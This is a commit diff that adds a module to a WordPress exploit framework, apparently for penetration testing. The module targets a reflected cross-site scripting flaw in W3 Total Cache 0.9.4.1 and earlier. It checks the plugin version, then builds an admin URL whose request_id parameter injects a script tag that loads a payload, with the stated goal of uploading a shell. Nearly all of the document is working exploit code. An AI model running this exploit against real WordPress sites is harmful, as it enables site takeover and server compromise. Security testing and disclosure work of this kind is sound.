Add W3 Total Cache <= 0.9.4.1 reflected XSS module

Author: rastating

modules/exploits/w3_total_cache_reflected_xss_shell_upload.rb

@@ -0,0 +1,36 @@
+class Wpxf::Exploit::W3TotalCacheReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'W3 Total Cache <= 0.9.4.1 Reflected XSS Shell Upload',
+      author: [
+        'Zerial',                         # Disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8625'],
+        ['URL', 'http://seclists.org/fulldisclosure/2016/Sep/52']
+      ],
+      date: 'Sep 21 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('w3-total-cache', '0.9.4.2')
+  end
+
+  def url_with_xss
+    normalize_uri(
+      wordpress_url_admin,
+      'admin.php?page=w3tc_support&request_type=bug_report&payment&'\
+      "url=http%3A%2F%2F#{Utility::Text.rand_alpha(6)}.com&"\
+      "name=#{Utility::Text.rand_alpha(6)}&email=#{Utility::Text.rand_email}&twitter&phone"\
+      "&subject=#{Utility::Text.rand_alpha(6)}&description=#{Utility::Text.rand_alpha(6)}"\
+      '&forum_url&wp_login&wp_password&ftp_host&ftp_login&ftp_password&subscribe_releases&'\
+      "subscribe_customer&w3tc_error=support_request&request_id=%22%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E"
+    )
+  end
+end